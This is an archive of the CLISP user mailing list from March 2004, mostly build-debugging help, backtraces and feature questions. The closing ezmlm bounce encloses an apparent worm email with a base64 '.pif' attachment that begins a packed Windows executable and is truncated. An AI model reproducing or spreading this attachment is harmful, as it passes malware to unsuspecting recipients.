id i2MKaN4P018804; Mon, 22 Mar 2004 15:36:23 -0500 (EST) To: clisp-list@lists.sourceforge.net, gene@acm.org Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403221959.i2MJxNhN009431@sdf.lonestar.org> (Gene Michael Stover's message of "Mon, 22 Mar 2004 19:59:23 GMT") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 22 12:37:02 2004 X-Original-Date: Mon, 22 Mar 2004 15:36:23 -0500 > * Gene Michael Stover [2004-03-22 19:59:23 +0000]: > >> correct me if I am wrong, but you are not using G++, right? >> note that setting of CC=g++ above! > > My mistake. I've run it again, & here's the last of the run > plus the top of the backstacktrace. The full log (including > the ./configure & make output) are at > . The exact commands I > used are at . still no go. apparently, you did not "rm -rf" build-g-gxx directory before reconfiguring. there is no link command in , and, apparently, you are not using the C++-build executable: > #0 0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898}) > at spvw_garcol.d:320 > #1 0x0804ec9c in gc_mark_stack (objptr=0xb70f1794) at spvw_garcol.d:521 > #2 0x0804eccc in gc_markphase () at spvw_garcol.d:532 > #3 0x0804fd44 in gar_col_normal () at spvw_garcol.d:1718 > #4 0x080531c1 in do_gar_col_simple () at spvw_garcol.d:2603 > #5 0x08229b48 in with_gc_statistics(void (*)()) ( > fun=0x80531a8 ) at predtype.d:2801 > #6 0x080531e3 in gar_col_simple () at spvw_garcol.d:2632 > #7 0x0805349a in make_space_gc_true (need=16, heapptr=0x835ef64) > at spvw_allocate.d:216 > #8 0x080539bb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92 > #9 0x0810c50b in test_env () at control.d:1964 > #10 0x0810c679 in C_macro_function() () at control.d:1980 if you see function names printed "in the clear", it is probably C. if you saw something like _Z17C_read_eval_printv or _Z15funcall_closure6objectm then it would have been C++ ("mangling") -- Sam Steingold (http://www.podval.org/~sds) running w2k Never succeed from the first try - if you do, nobody will think it was hard. From gms@sdf.lonestar.org Mon Mar 22 15:51:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5ZCV-00041w-GB for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 15:51:23 -0800 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B5ZCT-00012I-Ha for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 15:51:21 -0800 Received: from sdf.lonestar.org (IDENT:gms@mx.freeshell.org [192.94.73.21]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i2MNp9q6022658 for ; Mon, 22 Mar 2004 23:51:12 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i2MNp9OZ008261; Mon, 22 Mar 2004 23:51:09 GMT Message-Id: <200403222351.i2MNp9OZ008261@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 22 Mar 2004 15:36:23 -0500) Reply-to: gene@acm.org References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 22 15:52:05 2004 X-Original-Date: Mon, 22 Mar 2004 23:51:09 GMT Damn. I did it again, & I get the same results (function names in the backtrace are not mangled). This time, I swear, I blew away the entire clisp-2.33 source directory, unpacked it anew, ran the ./configure, & all that. Could you check the commands I used? All the files are at . You should be able to view that entire directory. "go" is the script. "go.cmd" is the commands for gdb. "go.out" is the output of the entire thing (./configure, make, gdb backtrace -- the whole enchilada). Thanks for spending so much time on this. I apologize for having such trouble getting you a decent backtrace. Just in case there is something useful in the most recent backtrace, here's the top of it: Function "sigsegv_handler_failed" not defined. STACK depth: 23979 SP depth: 67111153 Program received signal SIGSEGV, Segmentation fault. 0x0804e474 in gc_mark (obj={one_o = 1, allocstamp = 32899}) at spvw_garcol.d:320 320 switch (Record_type(dies)) { Warning: the current language does not match this frame. (gdb) backtrace #0 0x0804e474 in gc_mark (obj={one_o = 1, allocstamp = 32899}) at spvw_garcol.d:320 #1 0x0804ecdc in gc_mark_stack (objptr=0xb7301a40) at spvw_garcol.d:521 #2 0x0804ed0c in gc_markphase () at spvw_garcol.d:532 #3 0x0804fd84 in gar_col_normal () at spvw_garcol.d:1718 #4 0x08053201 in do_gar_col_simple () at spvw_garcol.d:2603 #5 0x08229b88 in with_gc_statistics(void (*)()) ( fun=0x80531e8 ) at predtype.d:2801 #6 0x08053223 in gar_col_simple () at spvw_garcol.d:2632 #7 0x080534da in make_space_gc_true (need=16, heapptr=0x835efc4) at spvw_allocate.d:216 #8 0x080539fb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92 #9 0x0810c54b in test_env () at control.d:1964 From: Sam Steingold Date: Mon, 22 Mar 2004 15:36:23 -0500 > * Gene Michael Stover [2004-03-22 19:59:23 +0000]: > >> correct me if I am wrong, but you are not using G++, right? >> note that setting of CC=g++ above! > > My mistake. I've run it again, & here's the last of the run > plus the top of the backstacktrace. The full log (including > the ./configure & make output) are at > . The exact commands I > used are at . still no go. apparently, you did not "rm -rf" build-g-gxx directory before reconfiguring. there is no link command in , and, apparently, you are not using the C++-build executable: > #0 0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898}) > at spvw_garcol.d:320 > #1 0x0804ec9c in gc_mark_stack (objptr=0xb70f1794) at spvw_garcol.d:521 > #2 0x0804eccc in gc_markphase () at spvw_garcol.d:532 > #3 0x0804fd44 in gar_col_normal () at spvw_garcol.d:1718 > #4 0x080531c1 in do_gar_col_simple () at spvw_garcol.d:2603 > #5 0x08229b48 in with_gc_statistics(void (*)()) ( > fun=0x80531a8 ) at predtype.d:2801 > #6 0x080531e3 in gar_col_simple () at spvw_garcol.d:2632 > #7 0x0805349a in make_space_gc_true (need=16, heapptr=0x835ef64) > at spvw_allocate.d:216 > #8 0x080539bb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92 > #9 0x0810c50b in test_env () at control.d:1964 > #10 0x0810c679 in C_macro_function() () at control.d:1980 if you see function names printed "in the clear", it is probably C. if you saw something like _Z17C_read_eval_printv or _Z15funcall_closure6objectm then it would have been C++ ("mangling") -- Sam Steingold (http://www.podval.org/~sds) running w2k Never succeed from the first try - if you do, nobody will think it was hard. From sds@gnu.org Tue Mar 23 08:35:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5orq-00040p-6F for clisp-list@lists.sourceforge.net; Tue, 23 Mar 2004 08:35:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B5oro-0003lp-Qg for clisp-list@lists.sourceforge.net; Tue, 23 Mar 2004 08:35:04 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2NGYpWQ004438; Tue, 23 Mar 2004 11:34:51 -0500 (EST) To: clisp-list@lists.sourceforge.net, gene@acm.org Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403222351.i2MNp9OZ008261@sdf.lonestar.org> (Gene Michael Stover's message of "Mon, 22 Mar 2004 23:51:09 GMT") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> <200403222351.i2MNp9OZ008261@sdf.lonestar.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 23 08:36:04 2004 X-Original-Date: Tue, 23 Mar 2004 11:34:51 -0500 > * Gene Michael Stover [2004-03-22 23:51:09 +0000]: > > "go" is the script. instead of CC=g++ ./configure --with-debug build-g-gxx cd build-g-gxx ./makemake --with-dynamic-ffi --verbose debug >Makefile make config.lisp make && make check you need CC=g++ ./configure --with-debug --build build-g-gxx cd build-g-gxx -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last did not get the joke. From gms@sdf.lonestar.org Tue Mar 23 10:47:17 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5qvl-0003Eg-80 for clisp-list@lists.sourceforge.net; Tue, 23 Mar 2004 10:47:17 -0800 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B5qvj-0001L9-DQ for clisp-list@lists.sourceforge.net; Tue, 23 Mar 2004 10:47:15 -0800 Received: from sdf.lonestar.org (IDENT:gms@mx.freeshell.org [192.94.73.21]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i2NIl7eK016068 for ; Tue, 23 Mar 2004 18:47:07 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i2NIl7XP013224; Tue, 23 Mar 2004 18:47:07 GMT Message-Id: <200403231847.i2NIl7XP013224@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 23 Mar 2004 11:34:51 -0500) Reply-to: gene@acm.org References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> <200403222351.i2MNp9OZ008261@sdf.lonestar.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 23 10:48:01 2004 X-Original-Date: Tue, 23 Mar 2004 18:47:07 GMT I get the same thing. Is it possible these problems are symptoms of the problem? I can't think of how, but I'm sure I'm following the steps you've given me. What if g++ is trying to be smart & compiling in C mode because the files are *.c? Stack overflow trashing the rest of memory? (I'm grasping at straws. Sorry.) gene Reply-to: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 23 Mar 2004 11:34:51 -0500 > * Gene Michael Stover [2004-03-22 23:51:09 +0000]: > > "go" is the script. instead of CC=g++ ./configure --with-debug build-g-gxx cd build-g-gxx ./makemake --with-dynamic-ffi --verbose debug >Makefile make config.lisp make && make check you need CC=g++ ./configure --with-debug --build build-g-gxx cd build-g-gxx -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last did not get the joke. From Tod.A.Smith@aadc.com Thu Mar 25 05:36:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B6V23-0004p7-W1 for clisp-list@lists.sourceforge.net; Thu, 25 Mar 2004 05:36:27 -0800 Received: from orion.allison.com ([199.20.2.1] helo=sinpap51.aadc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B6V22-0001UQ-M4 for clisp-list@lists.sourceforge.net; Thu, 25 Mar 2004 05:36:26 -0800 Received: by zus-4.aadc.com with Internet Mail Service (5.5.2655.55) id ; Thu, 25 Mar 2004 08:36:19 -0500 Message-ID: <1B3C59880C496F41A515A01F0C49D0B9018BC191@zus-4.aadc.com> From: "Smith, Tod A (AADC Indy)" To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] xml-rpc server? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 25 05:37:11 2004 X-Original-Date: Thu, 25 Mar 2004 08:36:12 -0500 Does anyone know of a xml-rpc server that will run in CLISP? CLiki has a link to an implementation by Sven van Caekenberghe, but it appears to only run in OpenMCL and LispWorks. I tried out Sven's server in OpenMCL, and it has the functionality I'm looking for - I just want it in CLISP! My ultimate goal is a free, portable(Windows, Mac OS X, Linux) method of calling my existing Lisp system from other languages (Python, C, etc). CLISP and xml-rpc would seem to fit the bill, but if anyone has other suggestions, I'd be open to them. - Tod Smith This email message and any attachments are for the sole use of the intended recipients and may contain proprietary and/or confidential information which may be privileged or otherwise protected from disclosure. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipients, please contact the sender by reply email and destroy the original message and any copies of the message as well as any attachments to the original message. From sds@gnu.org Thu Mar 25 06:33:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B6Vuy-00020y-0A for clisp-list@lists.sourceforge.net; Thu, 25 Mar 2004 06:33:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B6Vuu-000580-1R for clisp-list@lists.sourceforge.net; Thu, 25 Mar 2004 06:33:08 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2PEWtFN010127; Thu, 25 Mar 2004 09:32:56 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Smith, Tod A (AADC Indy)" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1B3C59880C496F41A515A01F0C49D0B9018BC191@zus-4.aadc.com> (Tod A. Smith's message of "Thu, 25 Mar 2004 08:36:12 -0500") References: <1B3C59880C496F41A515A01F0C49D0B9018BC191@zus-4.aadc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Smith, Tod A (AADC Indy)" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: xml-rpc server? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 25 06:34:06 2004 X-Original-Date: Thu, 25 Mar 2004 09:32:55 -0500 > * Smith, Tod A (AADC Indy) [2004-03-25 08:36:12 -0500]: > > Does anyone know of a xml-rpc server that will run in CLISP? CLiki has > a link to an implementation by Sven van Caekenberghe, but it appears > to only run in OpenMCL and LispWorks. I tried out Sven's server in > OpenMCL, and it has the functionality I'm looking for - I just want it > in CLISP! why don't you try to port it to CLISP? -- Sam Steingold (http://www.podval.org/~sds) running w2k If you think big enough, you'll never have to do it. From tommie@mailhub4.vianetworks.nl Fri Mar 26 02:17:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B6oOt-0001LE-At for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 02:17:19 -0800 Received: from relay3.vianetworks.nl ([212.61.25.247]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B6oOs-0002HT-Hl for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 02:17:18 -0800 Received: from mailhub4.vianetworks.nl (mailhub4.vianetworks.nl [212.61.15.20]) by relay3.vianetworks.nl (Postfix) with ESMTP id 02F4A2FDD7 for ; Fri, 26 Mar 2004 11:12:15 +0100 (MET) Received: by mailhub4.vianetworks.nl (Postfix, from userid 6288) id EB53C2CA79; Fri, 26 Mar 2004 11:12:15 +0100 (CET) To: clisp-list@lists.sourceforge.net References: <20040326101207.555542C7F2@mailhub4.vianetworks.nl> In-Reply-To: <20040326101207.555542C7F2@mailhub4.vianetworks.nl> X-Loop: tommie@iae.nl Precedence: junk From: tommie@iae.nl Message-Id: <20040326101215.EB53C2CA79@mailhub4.vianetworks.nl> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: Your archive Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 26 02:18:03 2004 X-Original-Date: Fri, 26 Mar 2004 11:12:15 +0100 (CET) This account will cease to exist on: Dit account wordt opgeheven op: 1 sep 2003 Thomas. From lisp-clisp-list@m.gmane.org Fri Mar 26 16:20:58 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B71ZK-0003Ef-Db for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 16:20:58 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B71ZJ-00010a-Af for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 16:20:57 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B71ZG-0006BT-00 for ; Sat, 27 Mar 2004 01:20:55 +0100 Received: from ip202-36-23-206.ip.splice.net.nz ([202.36.23.206]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 27 Mar 2004 01:20:54 +0100 Received: from lists by ip202-36-23-206.ip.splice.net.nz with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 27 Mar 2004 01:20:54 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Adam Warner Lines: 11 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ip202-36-23-206.ip.splice.net.nz User-Agent: Pan/0.14.2 (This is not a psychotic episode. It's a cleansing moment of clarity. (Debian GNU/Linux)) X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] SINGLE-FLOAT-BITS like functionality Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 26 16:21:05 2004 X-Original-Date: Sat, 27 Mar 2004 12:17:44 +1200 Hi developers, CMUCL and SBCL provide access to their IEEE 754 floating point binary representations through SINGLE-FLOAT-BITS, DOUBLE-FLOAT-LOW-BITS and DOUBLE-FLOAT-HIGH-BITS, exported from the KERNEL and SB-KERNEL packages respectively. Does CLISP provide similar functionality? Thanks, Adam From vim-return-@vim.org Fri Mar 26 17:18:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B72Sb-0003hV-A7 for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 17:18:05 -0800 Received: from foobar.math.fu-berlin.de ([160.45.45.151]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1B72SZ-0005nM-MM for clisp-list@lists.sourceforge.net; Fri, 26 Mar 2004 17:18:03 -0800 Received: (qmail 6508 invoked by uid 200); 27 Mar 2004 01:19:22 -0000 Mailing-List: contact vim-help@vim.org; run by ezmlm Message-ID: <1080350362.6507.ezmlm@vim.org> From: vim-return-@vim.org To: clisp-list@lists.sourceforge.net Delivered-To: responder for vim@vim.org Received: (qmail 6502 invoked from network); 27 Mar 2004 01:19:11 -0000 Received: from pool-138-89-158-116.mad.east.verizon.net (HELO vim.org) (138.89.158.116) by foobar.math.fu-berlin.de with SMTP; 27 Mar 2004 01:19:11 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ezmlm response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 26 17:19:03 2004 X-Original-Date: 27 Mar 2004 01:19:22 -0000 Hi! This is the ezmlm program. I'm managing the vim@vim.org mailing list. This is a generic help message. The message I received wasn't sent to any of my command addresses. --- Administrative commands for the vim list --- I can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at vim-owner@vim.org. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 6502 invoked from network); 27 Mar 2004 01:19:11 -0000 Received: from pool-138-89-158-116.mad.east.verizon.net (HELO vim.org) (138.89.158.116) by foobar.math.fu-berlin.de with SMTP; 27 Mar 2004 01:19:11 -0000 From: clisp-list@lists.sourceforge.net To: vim-help@vim.org Subject: Re: Your details Date: Fri, 26 Mar 2004 20:17:56 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0007_0000314C.00002C52" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0007_0000314C.00002C52 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Here is the file. ------=_NextPart_000_0007_0000314C.00002C52 Content-Type: application/octet-stream; name="your_details.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_details.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC 